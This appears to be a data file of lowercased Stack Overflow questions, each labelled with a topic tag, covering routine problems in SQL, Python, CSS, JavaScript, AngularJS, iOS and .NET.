sql query that searches two columns (2 & 3) if record is found display column 3  i need a sql query that searches column 2 through column 3 if a record is found (either an exact match or a value between the value of column 2 and column 3) return corresponding value from column 1    for example   <pre><code>column1     column2     column3   jane doe    123456        123459  john doe    123460        123460   frank doe   123461        123482 </code></pre>   if i type in <code>123457</code> i need it to show me <code>jane doe</code>    if i type in <code>123460</code> i need it to show me <code>john doe</code>    thank you,sql
shorter way to check if true in python list comprehension expression (x for x if x shorter)  is it possible to write it shorter  i mostly interested in not writing  r[0].value  twice.   <pre><code>    (r[0].value for r in sheet.range(userrolelist) if r[0].value) </code></pre>   if r[0].value -- to check that it != none    sheet.range is from openpyxl module.,python
how to share common css styles  on my page i have few blocks (<code>div</code>) that have the same style regarding <code>background</code> and <code>border</code> (menu panel  info panel  footer panel  ...).    now i would like to write that style only once and not repeat it for every panel. yet i don t see any comfortable way of doing that.   <hr>   one approach i investigated was to introduce a dedicated class (for example <code>panelclass</code>) that would capture the common panel styles. then in (x)html i would just add that class to every element that is supposed to be a panel.    but this doesn t feel right. after all i would be  revealing implementation  in the (x)html. i m no longer able to transparently change things easily because that requires modification of the (x)html.    not to mention that it introduces issues with order of the classes (and thus order in which css attributes will be overwritten if needed).    <strong>edit:</strong> (an extended explanation for kolin s answer)    <em>by “revealing implementation” i meant that the (x)html (“the content”) is much more strongly connected to the css (“the presentation”) than i would like them to be. maybe i’m pursuing an unreachable ideal (maybe even an unreal or a dummy one!) but i’m trying to keep “the content” separate from “the presentation”.</em>    <em>thus having a class <code>menu</code> isn’t bad because it describes “contents” not “presentation”. while using instead (what i understood from the cited articles and few others on that site) classes like <code>menu box bordered left_column</code> is bad because it mixes presentation with contents. once you start adding such classes you might very well add that css directly to <code>style</code> attribute. it sure would be much more work and an unmaintainable result but conceptually (when regarding contents-presentation separation) it wouldn’t make a difference.</em>    <em>now i do realize that in real life for real pages (rich and nice) it is virtually impossible to keep contents entirely separate from presentation. but still you may (should ) at least try to.</em>    <em>also just look at the “but” in the end of the article <a href= http://csswizardry.com/2012/04/the-single-responsibility-principle-applied-to-css/  rel= nofollow >the single responsibility principle applied to css</a>. in my opinion the <code>island</code> class he used is already presentational because it does not describe contents. it describes how to show it. and that is immediately obvious once you see how widely he used (or might have used) that class on elements having nothing in common as regarding contents.</em>    <strong>end edit</strong>   <hr>   another approach was to use selectors grouping. so i would have something like:   <pre><code>#menu  #info  #footer {   background: /* ... */   border: /* ... */ } </code></pre>   this avoids the need to modify (x)html. but still causes order issues. and also makes it hard to group styles logically. especially if they are distributed among many files.   <hr>   i think that what i really would like to have is to be able to name a group of attributes and just import them somehow in selectors. something like <code>#include</code> in c++ for example. is there any way to achieve this  i doubt it but maybe...    if not then is there any other method,css
assign nsuinteger to uibutton enabled property not work in devices with 32 bit architecture  just come cross a strange bug in devices with 32 bit architecture  below is the code:   <pre><code>- (void)textviewdidchange:(uitextview *)textview {     self.button.enabled = textview.text.length; } </code></pre>   so whenever i paste some text whose length is not 1 into the textview   (this is to imitate the behaviour of a third-party keyboard <a href= https://itunes.apple.com/cn/app/sou-gou-shu-ru-fa-quan-hao/id917670924 mt=8  rel= nofollow noreferrer >sogou</a>)  the button will not be enabled.    you can use this <a href= https://www.dropbox.com/s/0mm9lwladugk55q/demo.zip dl=0  rel= nofollow noreferrer >demo</a> to reproduce the bug.    i ve read related posts  like <a href= https://stackoverflow.com/questions/31982311/assigning-nsuinteger-to-bool-conceptual-understanding >assigning nsuinteger to bool conceptual understanding</a>  but this case is different.     please tell me why it does not work here.,ios
how to keep a method s `this` from reffering to the object that called it  sorry if this isn t clear  but i have to objects <code>a</code> and <code>b</code>. a creates an instance of b. b has a method <code>bar</code> that invokes a callback function. the function passed to b is one of a s methods <code>foo</code>  but foo s this refers to b not a. how do i fix this.   <pre><code>function a(){   this.test=(new b(this.foo));   this.test.bar(); } a.prototype.foo=function(){   console.log(this instanceof a);//needs to return true }  function b(fn){   this.fn=fn; } b.prototype.bar=function(){   this.fn(); } var a=new a(); </code></pre>,javascript
jquery counto plugin number_format  i want to show numbers greater than one thousand with a comma  but i cannot because when i use <code>number_format</code> from the <a href= https://github.com/mhuggins/jquery-countto  rel= nofollow noreferrer ><code>countto</code></a> plugin  the number appears as <code>nan</code>.    here is my code (the code works; i just want to add the comma)   <pre><code>&lt;div class= col-xs-6 col-sm-3 &gt;     &lt;div class= font-w700 text-gray-darker animated fadein &gt;sickgen users&lt;/div&gt;     &lt;div class= text-muted animated fadein &gt;&lt;small&gt;&lt;i class= si si-user &gt;&lt;/i&gt; total&lt;/small&gt;&lt;/div&gt;     &lt;a class= h2 font-w300 text-primary animated flipinx  data-toggle= countto  data-to= &lt; php echo $totalusers; &gt; &gt;&lt;/a&gt; &lt;/div&gt; &lt;div class= col-xs-6 col-sm-3 &gt;     &lt;div class= font-w700 text-gray-darker animated fadein &gt;alts database&lt;/div&gt;     &lt;div class= text-muted animated fadein &gt;&lt;small&gt;&lt;i class= si si-list &gt;&lt;/i&gt; total&lt;/small&gt;&lt;/div&gt;     &lt;a class= h2 font-w300 text-primary animated flipinx  data-toggle= countto  data-to= &lt; php echo $totalalts; &gt; &gt;&lt;/a&gt; &lt;/div&gt; &lt;div class= col-xs-6 col-sm-3 &gt;     &lt;div class= font-w700 text-gray-darker animated fadein &gt;generators&lt;/div&gt;     &lt;div class= text-muted animated fadein &gt;&lt;small&gt;&lt;i class= fa fa-spinner &gt;&lt;/i&gt; total&lt;/small&gt;&lt;/div&gt;     &lt;a class= h2 font-w300 text-primary animated flipinx  data-toggle= countto  data-to= &lt; php echo $totalgens; &gt; &gt;&lt;/a&gt; &lt;/div&gt; &lt;div class= col-xs-6 col-sm-3 &gt;     &lt;div class= font-w700 text-gray-darker animated fadein &gt;alts generated&lt;/div&gt;     &lt;div class= text-muted animated fadein &gt;&lt;small&gt;&lt;i class= si si-refresh &gt;&lt;/i&gt; total&lt;/small&gt;&lt;/div&gt;     &lt;a class= h2 font-w300 text-primary animated flipinx  data-toggle= countto  data-to= &lt; php echo $generated; &gt; &gt;&lt;/a&gt; &lt;/div&gt; </code></pre>   here you can see how it looks now (of course you can t see the count effect)    <a href= https://i.stack.imgur.com/ouodw.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ouodw.png  alt= like show now ></a>    here is what i want it to look like    <a href= https://i.stack.imgur.com/g6nsn.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/g6nsn.png  alt= here like i want ></a>    can you help me to add the comma     script   <pre><code> app.inithelper( appear-countto );      *      */     var uihelperappearcountto = function(){         // init counter functionality         jquery( [data-toggle= countto ] ).each(function(){             var $this       = jquery(this);             var $after      = $this.data( after );             var $before     = $this.data( before );             var $speed      = $this.data( speed )   $this.data( speed ) : 1500;             var $interval   = $this.data( interval )   $this.data( interval ) : 15;              $this.appear(function() {                 $this.countto({                     speed: $speed                      refreshinterval: $interval                      oncomplete: function() {                         if($after) {                             $this.html($this.html() + $after);                         } else if ($before) {                             $this.html($before + $this.html());                         }                     }                 });             });         });     }; </code></pre>,jquery
dynamically loaded input box does nothining  so i have some html that gets loaded into the #panel div dynamically depending on which questionnumber the user is on. this is not all of the code but all of the relevant code i think. anyway  the <code>&lt;input&gt;</code> get s loaded into the page but it doesn t actually do anything. what am i missing here  i have the same problem when the questionnumber === 1  where the binded variables just show up as <code>{{variable}}</code> etc   <pre><code>var readingcontroller = function (scope  romanize){         scope.usersromanization;         //alert(scope.usersromanization); }  var app = angular.module( tutorials   [ functions    tutorials ]).controller( getanswers   function ($scope  $element  position  romanize) { $scope.sectionnumber = position.sectionnumber; if ($scope.sectionnumber === 0){     $( #panel ).html( &lt;div ng-controller= readingcontroller &gt;&lt;input ng-model= usersromanization &gt;&lt;/input&gt;&lt;/div&gt; );     readingcontroller($scope  romanize); }  &lt;body ng-controller= getanswers &gt;     &lt;div  id= panel &gt;     &lt;/div&gt; &lt;/body&gt; </code></pre>,angularjs
nesting multiple divs with respect to one another  i have 3 <code>div</code> containers  namely  <code>#containera</code>  <code>#containerb</code> and <code>#containerc</code>.    i want to position <code>#containerb</code> within <code>#containera</code> and with respect to <code>#containera</code> s coordinates. so  i set <code>#containera</code> to have position: relative and #containerb to have <code>position: absolute</code>. this way:   <pre><code>#containera {   position: relative; } #containerb {   position: absolute; } </code></pre>   this works fine between <code>#containera</code> and <code>#containerb</code>. now  i want to make <code>#containerc</code> to be within and with respect to <code>#containerb</code>. however  setting the <code>#containerb</code> to have <code>position: relative</code> would cause <code>#containerb</code> to lose respect to <code>#containera</code>. the code would look this way:   <pre><code>#containera {   position: relative; } #containerb {   position: relative; } #containerc {   position: absolute; } </code></pre>   so  what should i do to get the <code>divs</code> to nest in one another in such a way where <code>#containerc</code> is positioned with respect to <code>#containerb</code> and <code>#containerb</code> is positioned with respect to <code>#containera</code>,css
how to rotate image in iphone   i am trying to rotate an image in a iphone application  but i am not able to rotate it for a particular angle which i need. can any one help in solving this problem    <pre><code>#import &lt;uikit/uikit.h&gt;  @interface consumingwebservicesviewcontroller : uiviewcontroller&lt;uitextfielddelegate&gt;{     iboutlet uitextfield *username;     iboutlet uitextfield *password;     iboutlet uitextfield *deviceid; iboutlet    uiactivityindicatorview *activityindicator;      nsurlconnection *conn;     nsmutabledata *webdata; } @property(nonatomic retain)uitextfield *username;  @property(nonatomic retain)uitextfield *password;  @property(nonatomic retain)uitextfield *deviceid; @property(nonatomic retain)uiactivityindicatorview *activityindicator; -(ibaction)buttonpressed:(id)sender;  @end </code></pre>,iphone
angularjs $rootscope broadcast  so i have this part of application structure  the behaviour i wan t to implement is: i want to fire up an event when user tries to access route without authorization  and then listen for that event on <code>loginctrl</code>   <pre><code>//first controller in application &lt;body data-ng-controller= gatewayctrl &gt;     &lt;div id= wrapper  data-ui-view= main &gt;&lt;/div&gt; &lt;/body&gt;  //then i have route which has `loginctrl` controller $stateprovider     .state( login   {         url:  /login           views: {              main : {                 templateurl:  login.html                   controller:  loginctrl              }         }     });   app.run([ $rootscope   function ($rootscope) {     $rootscope.$on( $statechangestart   function (event  next) {         $rootscope.$broadcast( test-event );     }); }]);   mdm.controller( loginctrl   [ $scope   function ($scope) {     $scope.$on( test-event   function () {         console.log( event );     }); }]);  mdm.controller( counterctrl   [ $scope   function ($scope) {     $scope.$on( test-event   function () {         console.log( event );     }); }]); </code></pre>   now the problem is that event is firing on <code>gatewayctrl</code> controller but not <code>loginctrl</code>.    what is causing this issue and how could i resove it,angularjs
remove() not working for newly created tag by append(). can anyone help pls   why this .remove() not working for newly created tag by .append(). eg: <a href= http://jsfiddle.net/id10922606/d0ms9uw5/3/  rel= nofollow >http://jsfiddle.net/id10922606/d0ms9uw5/3/</a>   <pre><code>$( .photo ).click(function(){    //var x = $(this)[0].getattribute( src ); var x =    $(this).attr( src ); //alert(x);  $(this).parent().append( &lt;div class= zoom &gt;&lt;img class= zoomimg  src=    /&gt;&lt;/div&gt; );     $( .zoomimg ).attr( src   x);  });  $( .zoom ).click(function(){     //alert( removing );     $(this).remove(); }); </code></pre>,jquery
why i receive a type error   my code below:   <pre><code>class fraction:    class for performing fraction arithmetic. each fraction has two attributes: a numerator  n and a deconominator  d. both must be integer and the deonominator cannot be zero.     def __init__(self  n   d):        performs error checking and standardises to ensure denominator is positive        if type(n)!=int or type(d)!=int:         raise typeerror( n and d must be integers )     if d==0:         raise valueerror( d must be positive )     elif d&lt;0:         self.n = -n         self.d = -d     else:         self.n = n         self.d = d  def __str__(self):        gives string representation of fraction (so we can use print)        return(str(self.n) +  /  + str(self.d))  def __add__(self  otherfrac):        produces new fraction for the sum of two fractions        newn = self.n*otherfrac.d + self.d*otherfrac.n     newd = self.d*otherfrac.d     newfrac = fraction(newn  newd)     return(newfrac)  def __sub__(self  otherfrac):        produces new fraction for the difference between two fractions                newn = self.n*otherfrac.d - self.d*otherfrac.n     newd = self.d*otherfrac.d     newfrac = fraction(newn  newd)     return(newfrac)  def __mul__(self  otherfrac):        produces new fraction for the product of two fractions                newn = self.n*otherfrac.n     newd = self.d*otherfrac.d     newfrac = fraction(newn  newd)     return(newfrac)  def __truediv__(self  otherfrac):        produces new fraction for the quotient of two fractions                newn = self.n*otherfrac.d     newd = self.d*otherfrac.n     newfrac = fraction(newn  newd)     return(newfrac)  def __eq__(self  otherfrac):     return(self.n * otherfrac.d) == (self.d * otherfrac.n)  def gcd(self):     gcd = 1     if self.n % self.d == 0:         return self.d     for k in range(int(self.d / 2)  0  -1):         if self.n % k == 0 and self.d % k == 0:             gcd = k             break     return gcd  def simfrac(self):     newn = self.n / f.gcd()     newd = self.d / f.gcd()     newfrac = fraction(newn  newd)     return (newfrac) </code></pre>   when i try to run the progress of simfrac() there is an error coming out from the system.    this is my test:   <pre><code>f=fraction(30 18) f.gcd() 6 #the output of f.gcd() </code></pre>   and we i try to type f.simfrac()    it come out with a error look like:   <pre><code>traceback (most recent call last):   file  &lt;pyshell#6&gt;   line 1  in &lt;module&gt;     f.simfrac()   file  c:/users/kavan/documents/python/resit ce/q4.py   line 67  in simfrac     newfrac = fraction(newn  newd)   file  c:/users/kavan/documents/python/resit ce/q4.py   line 9  in __init__     raise typeerror( n and d must be integers ) typeerror: n and d must be integers </code></pre>   i know there is an error about the integer from the fuction(simfrac)  but i not sure how to solve it  can anyone show me how to do it,python
android force compress sqlite with jpg extension  i have an old class in an android app which copies a pre-generated sqlite database. up to android 2.3 we needed to change the sqlite extension to an extension which won t be compressed (like jpg as in this question). as we stop the support for android prior to 4.1 this is no longer needed.    i want to reduce the apk size  but i want to avoid changing the database s filename. is there a way to mark the file so it will be compressed when creating the apk although it has the jpg extension,android
unable to find the files in the bundle  during developing an ios application in xcode4  i have added a data folder into the app bundle by dragging the folder and in order to reach this folder i ve written:   <pre><code>nsstring *bundlepath = [[nsbundle mainbundle] bundlepath]; nsstring *folderpath =[nsstring stringwithformat:@ %s/mydatafolder  ([bundlepath utf8string]) nil]; </code></pre>   however  i can not reach <code>folderpath</code> and its contents.,objective-c
where can we find sentestingkit framework for iphone sdk  i am using the oauth into my application for google services and i am getting nearly 30 errors regarding to the sentestingkit framework.can anyone tell me where can i find this framework.    thanks to all  madan.,objective-c
what is md5cryptoserviceprovider and what it can do   what is the meaning of md5cryptoserviceprovider and what it can do can any body tell me please,asp.net
how to get get a month and date in objective c   i am a new to objective c  i am developing a app to determine the date of birth when user gives the year and the number of days. for example if user give 1985 as his/her year of birth and the number of days as 311. his/here date of birth is 1985 november 6. so how to get the november 6 from 311 in 1985   please help,ios
learning new microsoft .net technologies  for the past eight months or so  i have been banging my head on my keyboard out of frustration because i can t make windows identity foundation do the things that i want it to do.    even more frustratingly  wif doesn t seem to enjoy the widespread adoption of many other ms .net technologies.  i often cannot find what i m looking for when i do a google search.    i read over the ms  whitepaper for developers  overview and it gives only a general idea of how the technology general works with not a lot of specifics.  i looked over the ms identity training kit; the ****ing installer was broken.  i could only get it to work at all by hand-editing the install file based on instructions that i found on an ms forum.  when it finally worked  i was left scratching my head.  i saw how some specific examples worked; it was left up to me to figure out how to use more than half the functions and classes in the framework.    i believe that i can honestly say that in the time i ve spent tinkering with wif  i could have taken and passed a university course on the subject of wif programming taught by a competent teacher and understand it better than i do now.    last week  i was asked by my boss to code our wif enabled asp.net web project to expire user logins a few minutes before the user session expires.  guess what   i had no idea how to do such a simple task after spending countless hours trying to figure out how wif works.  there are still classes in wif that i have no idea what they do.  there are events for things that i want to control that i have no idea when they are fired or how to handle them.  for all my effort to learn this new technology  i sometimes feel incompetent grappling with this technology.  btw  my so post about the logon expiration issue is here: <a href= https://stackoverflow.com/questions/2967253/how-can-i-make-a-security-token-automatically-expire-in-a-passive-sts-setup >how can i make a security token automatically expire in a passive sts setup </a>.    when i first started programming  i was told i needed to learn to implement ms wcf.  i picked up a good book about wcf that showed me everything i needed to do to drive our wcf applications.  i can easily see myself facing the same situation i face with wif with wcf without a good reference.    i know of no good book about wif.    but wif is just one ms technology that i need to be familiar with.    this situation is all the more frustrating because i have always excelled at studying and research in school.    anyhow  <b>my question for stackoverflow is this:</b> what are good ways to learn to use new ms .net technologies   what are the best references to consult   are there references with diagrams showing how the different classes  methods  and events relate to one another i can consult   how can a developer best make use of the msdn documentation   i think that i would greatly benefit from a visual reference to these things.  how can i effectively use my time to learn new ms frameworks     <b>clarification:</b> although i give wif as an example of a new technology i want to become an expert with  it is only an example.  i m interested in learning about the best tools and references to master a new <b>ms .net</b> technology in general.    <b>update</b> what about resources on the web.  there is stackoverflow of course  and also social.msdn.microsoft.com.  what other resources are good for learning a new ms technology,.net
check what db a jvm is using   a jvm is running with a pile of code that i didn t do any development. i think i know what jdbc connection it is using from grepping logfiles etc but i am not 100% sure. is there any tool which can tell you the jdbc connection details that a jvm is using,java
contextual output using decorators  i want to give contextual output  and i would have thought a decorator is the place to put this logic. however  i can t access my <code>current_user</code> method in a decorator.    right now  i m doing this in a view:   <pre><code>&lt;% if current_user == @user %&gt; your &lt;% else  #{@user.username} s  end %&gt; profile </code></pre>   and it seems a bit messy. i want to do it in a draper. this is my first step towards this goal:   <pre><code>class userdecorator &lt; applicationdecorator   delegate_all    include sessionshelper            def is_owner      current_user === model   end  end </code></pre>   my sessions helper:   <pre><code>module sessionshelper      def current_user=(user)         @current_user = user     end      def current_user         remember_token = user.hash(cookies[:remember_token])         @current_user ||= user.find_by(remember_token: remember_token)     end end </code></pre>   however  this results in:   <pre><code>undefined local variable or method `cookies  for #&lt;userdecorator:0x000000054ad2d8&gt;  app/helpers/sessions_helper.rb:9:in `current_user  app/decorators/user_decorator.rb:9:in `is_owner   app/views/users/show.html.erb:37:in `_app_views_users_show_html_erb___2600317495065048162_44417960  </code></pre>   i could include the module that contains the <code>cookies</code> method (what part of rails is this by the way )  but i can t help thinking i m doing it wrong if i need to include all of this stuff     i also want to do this in a draper:   <pre><code>&lt;% if current_user == @user || current_user.is_admin  %&gt;     &lt;!-- buttons leading to private functionality --&gt; &lt;% end %&gt; </code></pre>   but don t know how to output complex multi-lined html like a collection of buttons. <strong>should i create a partial of this secret section of html and render a partial from the decorator </strong>,ruby-on-rails
tap search button trigger what event   when i tap the search button on keyboard  display uisearchdisplaycontroller what event it will trigger     none of the event was triggered   <pre><code>- (void) searchdisplaycontrollerwillbeginsearch:(uisearchdisplaycontroller *)controller; {  } - (void) searchdisplaycontrollerdidbeginsearch:(uisearchdisplaycontroller *)controller; {  } - (void) searchdisplaycontrollerwillendsearch:(uisearchdisplaycontroller *)controller; {  } - (void) searchdisplaycontrollerdidendsearch:(uisearchdisplaycontroller *)controller; {  } // called when the table is created destroyed  shown or hidden. configure as necessary. - (void)searchdisplaycontroller:(uisearchdisplaycontroller *)controller didloadsearchresultstableview:(uitableview *)tableview; {  } - (void)searchdisplaycontroller:(uisearchdisplaycontroller *)controller willunloadsearchresultstableview:(uitableview *)tableview; {  }  // called when table is shown/hidden - (void)searchdisplaycontroller:(uisearchdisplaycontroller *)controller willshowsearchresultstableview:(uitableview *)tableview; {  } - (void)searchdisplaycontroller:(uisearchdisplaycontroller *)controller didshowsearchresultstableview:(uitableview *)tableview; {  } - (void)searchdisplaycontroller:(uisearchdisplaycontroller *)controller willhidesearchresultstableview:(uitableview *)tableview; {  } - (void)searchdisplaycontroller:(uisearchdisplaycontroller *)controller didhidesearchresultstableview:(uitableview *)tableview; {  } </code></pre>   welcome any comment,iphone
asp.net code generator for creating pages for lookup tables  i am looking for a code generator that will create basic maintenance asp.net pages for lookup tables stored in sql server.  i can clean up the pages after they are generated and connect them to my business objects.  i just wanted the controls to be generated to create a starting point.  do any exist,asp.net
typeerror: can t multiply sequence by non-int of type  float    this error is referring to  sstax= grosspay*ss_tax . i don t know what i m doing wrong. ): after changing the global constants to integers i got another error that said  typeerror: can only concatenate tuple (not  float ) to tuple  referring to  netpay=(grosspay)-(sstax+fedtax+statetax) . here s my code:   <pre><code>hours_in_week=40.0 pay_rate=16.78 ss_tax=0.075 fed_inc_tax=0.014 state_loc_tax=0.08 uniondues=10.0 health_ins=35.0  def getinfo():     hrs=float(input( how many hours did you work this week :  ))     dependents=float(input( how many dependents do you have :  ))     if hrs &gt; hours_in_week and dependents &gt;= 3.0:         overtime=hrs-hours_in_week         overpay=overtime *(pay_rate*1.5)         pay=(hours_in_week*pay_rate)         grosspay= overpay+pay         grosspay= grosspay-health_ins     else:         pay = hrs * pay_rate         grosspay = pay         print grosspay     return grosspay hrs dependents  def tax(grosspay):     sstax= grosspay*ss_tax     fedtax= grosspay*fed_inc_tax     statetax=grosspay*state_loc_tax     netpay=(grosspay)-(sstax+fedtax+statetax)      print sstax     print fedtax     print statetax     print grosspay     print netpay  def main():     grosspay=getinfo()     tax(grosspay)  main() </code></pre>,python
need help regarding this python code  <strong>i have found this 30 lines  code from</strong> <a href= http://www.cs.mcgill.ca/~aassaf9/python/algorithm_x.html  rel= nofollow >http://www.cs.mcgill.ca/~aassaf9/python/algorithm_x.html</a>    could you please help me regarding  below 2 lines.i am not getting what this 2 lines of code doing.   <pre><code>for s in solve(x  y  solution):             yield s </code></pre>   knuth x algorithm in 30 lines:   <pre><code>def solve(x  y  solution=[]):     if not x:         yield list(solution)     else:         c = min(x  key=lambda c: len(x[c]))         for r in list(x[c]):             solution.append(r)             cols = select(x  y  r)             for s in solve(x  y  solution):                 yield s             deselect(x  y  r  cols)             solution.pop()  def select(x  y  r):     cols = []     for j in y[r]:         for i in x[j]:             for k in y[i]:                 if k != j:                     x[k].remove(i)         cols.append(x.pop(j))     return cols  def deselect(x  y  r  cols):     for j in reversed(y[r]):         x[j] = cols.pop()         for i in x[j]:             for k in y[i]:                 if k != j:                     x[k].add(i) </code></pre>,python
translating ternary statement to expanded syntax  i have this code <code>f.onmousewheel = function (e) {zoomfactor = e.wheeldelta &gt; 0   10 : 11;}</code>    here it is  the smaller version. but i must (and im learning) use the bigger version  that looks like this:   <pre><code>f.onmousewheel = function (e) {  }; </code></pre>   my qestion is: how looks <code>{zoomfactor = e.wheeldelta &gt; 0   10 : 11;}</code> in the bigger version,javascript
mysql how to return multiple join results as unique columns   i am querying results from multiple tables based on user_id and specific dates and actions  but i also have a separate table called user_notes:    <strong>user_notes</strong>   <pre><code>| id |       user_id |                         note |          date | ------------------------------------------------------------------------ |  1 |            10 |                  first note. |    2016-01-01 | |  2 |            10 |                 second note. |    2016-01-02 | |  3 |            11 |                  first note. |    2016-01-03 | |  4 |            11 |                 second note. |    2016-01-04 | |  5 |            11 |                  third note. |    2016-01-05 | </code></pre>   and i am wondering how do i return all these notes and their dates as separate columns in each record/result when i do joins with other tables and such for which i only return one row per user_id  as the final result would look something like this:    <strong>final_result</strong>   <pre><code>| user_id |  other_data |       note1 |      date1 |        note2 |      date2 |       note3 |      date3 |... --------------------------------------------------------------------------------------------------------- |  10     |  .......... | first note. | 2016-01-01 | second note. | 2016-01-02 |             |            | ... |  11     |  .......... | first note. | 2016-01-03 | second note. | 2016-01-04 | third note. | 2016-01-05 | ... </code></pre>   and so on... there will be up to 10 notes  so there could be up to 10 extra columns for each  note  and  date  entries.    any idea how this can be accomplished  if at all,mysql
error while installing .net framework 3.5  the .net framework 3.5 installation fails for me. right after the   downloading components  stage  it sits for a few seconds on:   <blockquote>    setup has finished downloading components  you can now disconnect from the    internet  </blockquote>   then it starts to roll back. i m using windows&nbsp;xp sp2. a glance  in the log files shows that it seems related to <a href= http://en.wikipedia.org/wiki/windows_installer  rel= nofollow noreferrer >msi</a> error code 1603.,.net
in on result  get a number of dependency  i have this mysql db :    <a href= https://i.stack.imgur.com/1foxm.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/1foxm.png  alt= enter image description here ></a>    mysql in order to create db + set of test value :   <pre><code>drop database if exists test; create database test; create table table_status ( id tinyint unsigned not null auto_increment primary key  status char(27) not null) engine=innodb; insert into table_status (id  status) values (1   created )  (2   unsure )  (3   running )  (4   begin_action_true )  (5   stopped_action_true_ok )  (6   stopped_action_true_not_ok )  (7   begin_action_false )  (8   stopped_action_false_ok )  (9   stopped_action_false_not_ok )  (10   stopped_not_ok )  (11   stopped_ok )  (12   cancel_requested )  (13   cancelled ); create table table_group ( id bigint unsigned not null auto_increment primary key  status tinyint unsigned not null default 1  constraint fk_group_status foreign key (status) references table_status(id)) engine=innodb; create table table_task ( id bigint unsigned not null auto_increment primary key  idgroup bigint unsigned not null  status tinyint unsigned not null default 1  command text not null  constraint fk_task_idgroup foreign key (idgroup) references table_group(id) on delete cascade  constraint fk_task_status foreign key (status) references table_status(id)) engine=innodb; create table table_dependency ( idbeforetask bigint unsigned not null  idaftertask bigint unsigned not null  primary key (idbeforetask  idaftertask)  constraint fk_dependency_idbeforetask foreign key (idbeforetask) references table_task(id) on delete cascade  constraint fk_dependency_idaftertask foreign key (idaftertask) references table_task(id) on delete cascade) engine=innodb; insert into table_group (id) values (1)  (2)  (3)  (4); insert into table_task (idgroup  command) values (1   command_group_1_task_1 )  (1   command_group_1_task_2 )  (1   command_group_1_task_3 )  (2   command_group_2_task_1 )  (2   command_group_2_task_2 )  (2   command_group_2_task_3 )  (3   command_group_3_task_1 )  (3   command_group_3_task_2 )  (3   command_group_3_task_3 )  (4   command_group_4_task_1 )  (4   command_group_4_task_2 )  (4   command_group_4_task_3 ); insert into table_dependency (idbeforetask  idaftertask) values (1  2)  (2  3)  (4  5)  (5  6)  (7  8)  (8  9)  (10  11)  (11  12); </code></pre>   the data in table_status is fixed to this :   <pre><code>insert into table_status (id  status) values      (1   created )     (2   unsure )     (3   running )     (4   begin_action_true )     (5   stopped_action_true_ok )     (6   stopped_action_true_not_ok )     (7   begin_action_false )     (8   stopped_action_false_ok )     (9   stopped_action_false_not_ok )     (10   stopped_not_ok )     (11   stopped_ok )     (12   cancel_requested )     (13   cancelled ) </code></pre>   the purpose is to have a group containing task  each task can be dependant on another one.    what i want to obtain :    group.id  nb_task_total  nb_task_created  nb_task_unsure    but there is a trap : the number of nb_task_created is defined as : the number of task with status to created and with no unresolved dependency.    an unresolved dependency is defined as a task depend on another wich have a status != 11 (stopped_ok).    so if i have this :   <pre><code>table_dependency :   idbeforetask    idaftertask     1              2     2              3  table_task :  id  idgroup     status  command 1     1           1     command_1 2     1           1     command_2 3     1           1     command_3 </code></pre>   i want to have    <pre><code>group.id  nb_task_total  nb_task_created  nb_task_unsure  1          3                 1                0 </code></pre>   here my unsucesful try :   <pre><code>select  g.id   (select count(t.id) from table_task as t where t.idgroup = g.id)  (select count(t.status = 1) from table_task as t where t.idgroup = g.id and t.id not in (select idaftertask from table_dependency as d1 join table_task as t1 on t1.id=d1.idbeforetask where t1.status!=11))   (select count(t.status = 2) from table_task as t where t.idgroup = g.id)  from  table_group as g </code></pre>   the problem is i obtain this :   <pre><code>group.id  nb_task_total  nb_task_created  nb_task_unsure  1          3                 1                3  2          3                 0                3 </code></pre>   (i have 4 group  each group containing 3 task  all the task with status = 1 (created) and the dependency set in order to have just on  resolved  dependency so i should have    <pre><code>group.id  nb_task_total  nb_task_created  nb_task_unsure  1          3                 1                0  2          3                 1                0 </code></pre>   instead.    i m a beginner in mysql  and i m lost on this one request.,mysql
how to select a specific value from a list in python  so i have the following mcmc sampler  -    <pre><code>import numba import numpy as np import scipy.stats as stats from scipy.stats import multivariate_normal import seaborn as sns import pandas as pd import matplotlib.mlab as mlab import matplotlib.pyplot as plt import random import math  def targ_dist2(x1 x2):      target2 = (mlab.bivariate_normal(x1  x2  1.0  1.0  -6  -6  0.9) +  mlab.bivariate_normal(x1  x2  1.0  1.0  4  4  -0.9) +  mlab.bivariate_normal(x1  x2  1.0  1.0  0.0  0.0))/3     return target2  nsamples = 5000 propsigma = 2       x = np.zeros((nsamples+1 2)) xcurrent = stats.uniform.rvs(loc=-5  scale=10  size=2  random_state=none) dims = range(2)  #initial values t = 0 x[t 0] = xcurrent[0] x[t 1] = xcurrent[1]  while t &lt; nsamples:     t = t + 1     for id in range(2):         xstar = np.random.normal(x[t-1 id]  propsigma)         alpha = min(1  (targ_dist2(xstar  x[t-1 id!=dims]) / targ_dist2(x[t-         1 id]  x[t-1 id!=dims])))          #accept or reject         u = random.uniform(0  1)         if u &lt; alpha:             x[t id] = xstar         else:             x[t id] = x[t-1 id] </code></pre>   my error is where i have the != in the alpha equation. basically here i would like to choose the value in  dims  that is not equal to the value  id  in the loop. so  for example  if the loop is working through the value id=0  i would like to have the value 1 in place of id!=dims in the alpha equation above (if that makes sense). is there a general way of doing this  i hope to extend this algorithm to multiple dimensions...,python
calendar day with multiple column  what the best way to create a calendar day with multiple columns:    <a href= https://i.stack.imgur.com/qrug6.jpg  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qrug6.jpg  alt= enter image description here ></a>    the main problem is the event view that on multiple cells with different heights.    options:   <ol> <li>uicollecionview  but how to add event view </li> <li>just uiviews in uiscrollview </li> <li>maybe there are some libraries that let to make multiple columns in one day </li> </ol>,ios
